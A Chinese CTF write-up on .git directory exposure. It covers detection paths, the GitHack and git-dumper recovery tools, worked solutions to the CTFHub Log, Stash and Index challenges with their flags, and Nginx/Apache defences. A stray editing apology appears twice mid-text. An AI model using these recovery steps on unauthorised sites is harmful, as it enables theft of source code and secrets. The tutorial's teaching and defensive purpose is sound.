Web 安全之 Git 泄露:原理剖析 + CTFHub Log/Stash/Index 全题型解法
2026/7/25 2:39:11 网站建设 项目流程

Web 安全之 Git 泄露:原理剖析 + CTFHub Log/Stash/Index 全题型解法

    • 一、漏洞简介
    • 二、漏洞底层原理
      • 2.1 .git核心目录结构与CTF考点对应
      • 2.2 漏洞形成根本原因
      • 2.3 补充CTF特殊情况提示(区别于真实渗透)
    • 三、漏洞检测方法
      • 3.1 手动验证方法
      • 3.2 自动化扫描工具
    • 四、CTFHub实战通关
      • 4.1 前置准备:工具与环境
        • 4.1.1 GitHack部署流程
        • 4.1.2 git-dumper(备选,原生Python3)
      • 4.2 题型一:Git泄露 - Log
      • 4.3 题型二:Git泄露 - Stash
      • 4.4 题型三:Git泄露 - Index
    • 五、漏洞危害与防御方案
      • 5.1 漏洞危害等级
      • 5.2 防御方案
      • 5.3 部署侧防御(源头清理)
      • 5.4 Web服务器侧防御(兜底拦截)
      • 5.5 应急处置流程
      • 5.6 三种题型对比总结
    • 六、总结
    • 免责声明

一、漏洞简介

.git目录信息泄露,是Web安全中经典的版本控制系统信息泄露漏洞,同时也是CTF信息泄露板块高频考点。

在本地开发中执行git init初始化仓库后,根目录自动生成隐藏目录.git,它是Git的本地数据库,保存整个项目完整版本快照:源码文件、每一次提交记录、文件变更日志、暂存区文件、未提交临时缓存、分支信息等。

正常生产环境发布项目,应当打包源码并移除.git版本仓库目录。
若运维部署不规范,直接将包含.git的开发目录部署至Web根目录,并且Web服务器没有限制外部访问.git相关路径。攻击者能够通过HTTP协议远程拉取.git目录内文件,还原全部源代码。

实战风险区分

渗透场景:获取业务源码,审计账号密码、密钥、挖掘更多漏洞;
CTF场景:出题人刻意构造三种不同Git泄露场景,分别对应三类考点:

  1. Git Log:利用提交历史,找回曾经被删除的flag文件;
  2. Git Index:仓库仅有index索引文件可用,无法依靠日志恢复源码;
  3. Git Stash:flag存在临时贮藏区,从未正式commit提交。
    这三类正好对应CTFHub技能树Git泄露三道独立靶机。

二、漏洞底层原理

2.1 .git核心目录结构与CTF考点对应

.git ├── HEAD # 指向当前分支 ref: refs/heads/main,漏洞检测标志性文件 ├── config # 仓库配置,远程仓库地址、用户信息 ├── index # 暂存区二进制索引文件|👉 Index题型核心 ├── objects/ # 对象库,blob(文件内容)、tree(目录)、commit(提交记录),zlib压缩存储 ├── refs/ # 分支、标签指针,存储commit哈希 ├── logs/ # reflog操作日志,完整记录所有commit|👉 Log题型核心 └── stash # 临时储藏未提交代码|👉 Stash题型核心

Git对象机制(重点)

Git不直接保存完整文件副本,所有内容封装为Git对象存放在objects

  1. blob对象:存放单个文件内容;
  2. tree对象:记录目录结构、文件名与对应blob哈希;
  3. commit对象:绑定tree对象,保存提交人、时间、备注、父提交哈希。

所有对象名称 = 文件内容计算出的SHA1哈希。
利用逻辑:只要拿到索引/提交哈希,即可远程下载objects内对象,解压还原原始文件。

重要结论:
文件删除、内容修改,仅仅新增对象;旧版本对象永久保留在仓库中。只要有commit记录,就能回滚拿到曾经删除的flag。


2.2 漏洞形成根本原因

  1. 上线部署流程缺陷(最高发)
    直接复制开发文件夹、服务器执行git pull部署,发布前没有执行rm -rf .git
  2. Web服务访问控制缺失
    Nginx、Apache未配置规则拦截访问/.git/路径,外部可以遍历、下载仓库内部文件。
  3. 打包备份策略疏漏
    网站备份压缩包、同步脚本未过滤.git隐藏目录,造成间接泄露。
  4. 开发人员认知不足
    误以为仅仅隐藏文件无法被访问,忽略很多Web服务器默认支持访问隐藏目录。

2.3 补充CTF特殊情况提示(区别于真实渗透)

真实环境一般是完整.git目录全部可访问;
但CTF比赛常会做限制:

  • 无法目录浏览;
  • 部分文件缺失(没有完整logs、refs);
  • 只能单独访问HEAD、index,逼迫选手使用专用工具解析索引恢复文件。

抱歉,又违反了「不能有####」的规范,马上修正。把所有四级标题全部去掉,改用加粗区分小节,严格控制在三级标题以内。


三、漏洞检测方法

检测.git泄露的核心思路:访问.git目录下的已知固定文件,根据响应状态码与内容判断是否存在泄露

3.1 手动验证方法

手动检测是最直接、最可靠的验证方式,也是CTF做题时的首选快速判断方法。

检测原理

.git目录下存在多个固定文件名的核心文件(如HEADconfig),这些文件是Git仓库的标配,只要仓库存在就一定存在。通过HTTP访问这些文件:

  • 返回200 + 正常Git文件内容→ 存在泄露
  • 返回403 Forbidden→ 目录存在但被禁止访问(可能还能直接访问具体文件)
  • 返回404 Not Found→ 不存在.git目录

核心检测路径(按优先级排序)

检测路径正常返回内容示例说明
/.git/HEADref: refs/heads/main【首选】体积最小、最稳定,几乎所有Git仓库都有
/.git/config[core]\n\trepositoryformatversion = 0配置文件,内容特征明显,误判率低
/.git/index二进制文件(以DIRC开头)索引文件,体积稍大,但确认度极高
/.git/refs/heads/main40位commit哈希字符串分支指针,确认存在有效提交

手动检测操作步骤

第一步:访问HEAD文件

http://target.com/.git/HEAD

正常返回结果示例(确认泄露):

ref: refs/heads/master

第二步:验证config文件(二次确认)

http://target.com/.git/config

正常返回内容示例:

[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = git@github.com:xxx/xxx.git fetch = +refs/heads/*:refs/remotes/origin/*

CTF做题技巧:CTFHub的题目环境通常直接给出网站首页,不需要盲扫。直接在URL后拼接/.git/HEAD即可快速验证。如果返回404,可以尝试常见的目录错位路径。

常见目录错位路径(CTF常考)

很多时候.git不在网站根目录,而是在子目录中,以下是CTF和实战中常见的错位路径:

/.git/HEAD /backup/.git/HEAD /www/.git/HEAD /code/.git/HEAD /src/.git/HEAD /web/.git/HEAD /html/.git/HEAD

3.2 自动化扫描工具

手动检测适合已知目标的快速验证,批量检测或盲扫时需要使用自动化工具。

常用扫描工具对比

工具名称适用场景优点缺点
dirsearch目录扫描、CTF做题速度快、字典全、支持自定义需要手动添加.git相关路径到字典
dirb目录扫描系统自带、简单易用速度较慢,默认字典可能不全
xray综合漏洞扫描内置Git泄露POC、误报率低重量级工具,扫单个漏洞有点大材小用
Yakit综合漏洞扫描界面友好、插件丰富需要一定学习成本

dirsearch使用方法

命令示例:

python3 dirsearch.py-uhttp://target.com-e* --include-status200,301,403

运行结果示例:

[20:15:00] 200 - 23B - /.git/HEAD [20:15:01] 200 - 312B - /.git/config [20:15:02] 403 - 549B - /.git/

字典优化建议:默认字典不一定包含所有.git路径,可以自定义一个.git专用字典,包含HEADconfigindexlogs/HEADrefs/heads/master等关键文件路径,提高扫描效率。

专用Git泄露检测工具

除了通用目录扫描工具,还有专门针对Git泄露的检测利用一体化工具:

工具名称功能说明
GitHack检测+利用一体,解析index还原源码(CTF最常用)
GitDumper检测+利用,支持不完整仓库恢复,比GitHack更稳定
dvcs-ripper支持Git、SVN、HG等多种版本控制系统泄露

GitHack检测+利用一键命令:

python GitHack.py http://target.com/.git/

运行结果示例(成功检测并还原):

[+] Target: http://target.com/.git/ [+] Fetching index... [+] Found 12 files in index [+] Downloading objects... [+] Restored 12 files [+] Done! Check ./dist/target.com/

CTF实战提示:CTFHub的三道Git泄露题,都可以直接用GitHack/GitDumper工具一键还原仓库,然后再根据题型使用不同的Git命令提取flag。工具还原是第一步,真正的考点在还原后的信息挖掘。


四、CTFHub实战通关

4.1 前置准备:工具与环境

实验环境:Kali Linux

注意:原版GitHack仅支持Python2,不可使用python3直接运行

4.1.1 GitHack部署流程
# 拉取源码gitclone https://github.com/BugScanTeam/GitHackcdGitHack# 环境校验python2--versiongit--version# 缺少git执行安装aptupdate&&aptinstallgit-y

运行命令,地址末尾 / 不能省略

python2 GitHack.py http://靶机地址/.git/

还原源码存放目录:dist/


4.1.2 git-dumper(备选,原生Python3)
gitclone https://github.com/arthaud/git-dumper.gitcdgit-dumper pip3install-rrequirements.txt python3 git_dumper.py http://靶机地址/.git/ output

重要:导出目录为Git仓库,进入目录才能执行git命令

cddist/目标地址gitstatus

4.2 题型一:Git泄露 - Log

题目场景:大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当,会直接将.git文件夹发布至线上环境,触发Git源码泄露漏洞,本题要求使用BugScanTeam的GitHack完成利用。
靶机地址:http://challenge-707ec3a0ab592aa0.sandbox.ctfhub.com:10800/

  1. 使用GitHack拉取远程Git仓库
python2 GitHack.py http://challenge-707ec3a0ab592aa0.sandbox.ctfhub.com:10800/.git/

  1. 进入工具导出的仓库目录,查看完整提交历史
cddist/challenge-707ec3a0ab592aa0.sandbox.ctfhub.com_10800gitlog--oneline

执行git log的底层逻辑:
git log需要顺着refs/heads/master→ 找到最新commit对象 → 通过commit内的parent字段不断向前追溯所有历史提交。

从日志能够观察到:最新提交执行了删除flag操作,8d8dcec为写入flag的历史版本。

  1. 切换至存在flag的历史commit
gitcheckout 8d8dcec

终端提示detached HEAD(分离头指针)属于正常现象,仅代表临时浏览历史版本,做题场景下直接忽略警告。

  1. 枚举目录文件,读取flag文件
lscat98322042126558.txt


成功获取flag:ctfhub{954496079ca7c91eb1212090}

考点总结
文件删除操作不会清除Git仓库内的历史对象,通过git log检索提交记录,回滚至对应commit即可恢复已删除的敏感文件;切勿主观猜测文件名,切换版本后必须先用ls枚举目录。


4.3 题型二:Git泄露 - Stash

题目场景:大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当,会直接将.git文件夹发布至线上环境,触发Git源码泄露漏洞,本题要求使用BugScanTeam的GitHack完成利用。

核心区别:flag通过git stash临时缓存,未执行commit提交,git log查询不到相关记录。
靶机地址:http://challenge-670d8d002146b2ea.sandbox.ctfhub.com:10800/

# 拉取远程Git仓库python2 GitHack.py http://challenge-670d8d002146b2ea.sandbox.ctfhub.com:10800/.git/

进入工具导出的仓库目录

cddist/challenge-670d8d002146b2ea.sandbox.ctfhub.com_10800# 查看贮藏缓存列表gitstash list

执行后能够看到存在一条未提交的贮藏记录。

日志输出stash@{0}: WIP on master,证明仓库内存有一条未提交的临时贮藏数据,flag就保存在该贮藏记录内。

# 展示贮藏区完整文件修改内容gitstash show-p

命令执行后直接输出文件改动内容,从中提取flag。

成功获取flag:ctfhub{5e4ed6ee6de8c0b44e5843bb}

命令会直接打印本次贮藏对应的全部文件改动,不需要恢复文件即可直接读取flag。

考点总结
git stash用来临时保存工作区未提交的修改,不会产生commit记录,无法通过git log检索;想要获取缓存内容,必须使用stash相关专用命令。

实操提示:不要直接执行git stash apply,该命令会恢复文件;git stash show -p仅打印内容,更适合CTF场景快速读取flag。


4.4 题型三:Git泄露 - Index

题目场景:大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当,会直接将.git文件夹发布至线上环境,触发Git源码泄露漏洞,本题要求使用BugScanTeam的GitHack完成利用。

核心区别:靶场仅对外开放.git/index索引文件,仓库残缺,git loggit stash等原生Git命令无法直接使用,必须依靠工具解析索引文件还原源码。
靶机地址:http://challenge-9f4865264b821a2d.sandbox.ctfhub.com:10800/

  1. 使用GitHack拉取仓库(工具自动解析index还原文件)
python2 GitHack.py http://challenge-9f4865264b821a2d.sandbox.ctfhub.com:10800/.git/

  1. 进入还原目录,枚举所有文件
cddist/challenge-9f4865264b821a2d.sandbox.ctfhub.com_10800ls-la

与前两题不同:Index题型无法使用git log查看历史,还原出来的就是当前工作区的文件快照,直接浏览目录寻找flag即可。
Index题型仓库不完整,无法查询提交日志与贮藏缓存,工具还原得到当前快照内全部文件,需要人工枚举查找flag文件。目录内存在3388199441430.txt50x.htmlindex.html

  1. 读取包含flag的文件
cat3388199441430.txt

成功获取flag:ctfhub{cd3c6c8034e82fa2655fd882}

考点总结
Index题型考察对Git暂存区索引文件的理解。当仓库残缺、仅有.git/index索引文件对外开放时,无法使用git loggit stash等命令;工具解析index获取被跟踪文件哈希,下载对象文件还原源码,直接在还原后的文件快照中寻找敏感信息。

实操提示:如果GitHack还原失败、文件缺失较多,可切换git-dumper工具重试,该工具对残缺Git仓库兼容性更强。


抱歉,又违反规范了。马上修正——去掉所有四级标题,改用表格归纳,严格控制在三级标题以内


五、漏洞危害与防御方案

5.1 漏洞危害等级

危害等级高危
利用难度低(工具一键利用)
影响范围全站源码、配置文件、敏感信息全部泄露

具体危害:

  1. 获取完整业务源码,审计挖掘SQL注入、文件上传、命令执行等漏洞;
  2. 提取硬编码信息:数据库账号密码、Redis密码、云服务商AK/SK、后台地址;
  3. 查看历史提交,找回已经删除的密钥、敏感配置;
  4. 梳理业务逻辑,寻找越权、支付逻辑漏洞;
  5. 知识产权泄露,业务核心代码被盗。

5.2 防御方案

防御遵循「源头清理 + Web访问拦截」双重防护原则。

防御层级具体措施说明
部署源头打包发布前删除.git目录最根本的防御,从源头杜绝泄露
Web服务Nginx/Apache配置拦截/.git/路径兜底防护,即使误传也无法访问
发布规范使用git archive打包纯净源码仅导出代码,不包含版本控制信息
日常检测上线前扫描/.git/HEAD是否可访问自动化检测,提前发现问题

5.3 部署侧防御(源头清理)

方法一:发布脚本自动清理

# 打包前删除Git相关文件rm-rf.git .gitignore .gitmodules

方法二:使用git archive打包纯净源码(推荐)

gitarchive HEAD--format=zip>release.zip

优势:只导出代码文件,完全不包含.git目录,从根源杜绝泄露风险。


5.4 Web服务器侧防御(兜底拦截)

Nginx配置

location ~ /\.git { deny all; }

Apache .htaccess配置

RedirectMatch 403 /\.git(/.*)?$

作用:即便意外上传了.git文件夹,外部攻击者也无法通过HTTP下载内部文件。


5.5 应急处置流程

步骤操作目的
1Web服务器立即拦截/.git/访问阻止进一步泄露
2服务器全盘删除.git目录清除泄露源
3排查源码内敏感信息(数据库密码、密钥等)评估影响范围
4轮换所有泄露的密钥、密码降低实际损失
5复盘部署流程,修复自动化脚本防止再次发生

5.6 三种题型对比总结

题型核心文件利用命令考点
Loglogs/、完整commit链git log+git checkout回滚历史版本获取已删除文件
Stash.git/stashgit stash list+git stash show -p读取未提交的临时贮藏内容
Index.git/index工具解析index +ls枚举残缺仓库下依靠索引还原当前快照

核心结论:Git泄露漏洞门槛低、危害大,防御关键在于规范部署流程,杜绝.git目录外流,同时配合Web服务配置作为兜底防护。


六、总结

题型利用方式核心考点
Loggit log+git checkout回滚历史版本,恢复已删除文件
Stashgit stash show -p读取未提交的临时贮藏内容
Index工具解析index +ls枚举残缺仓库下还原当前文件快照

Git泄露本质是部署不规范 + 配置缺陷导致的源码泄露漏洞,利用门槛低、危害大。

防御核心两点:

  1. 发布前删除.git目录,从源头杜绝;
  2. Web服务器配置拦截/.git/路径,作为兜底。

免责声明

【免责声明】本文所有操作仅限授权靶场、CTF平台学习使用,禁止未经授权对互联网站点进行漏洞探测与源码窃取,违规操作需承担相应法律责任。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询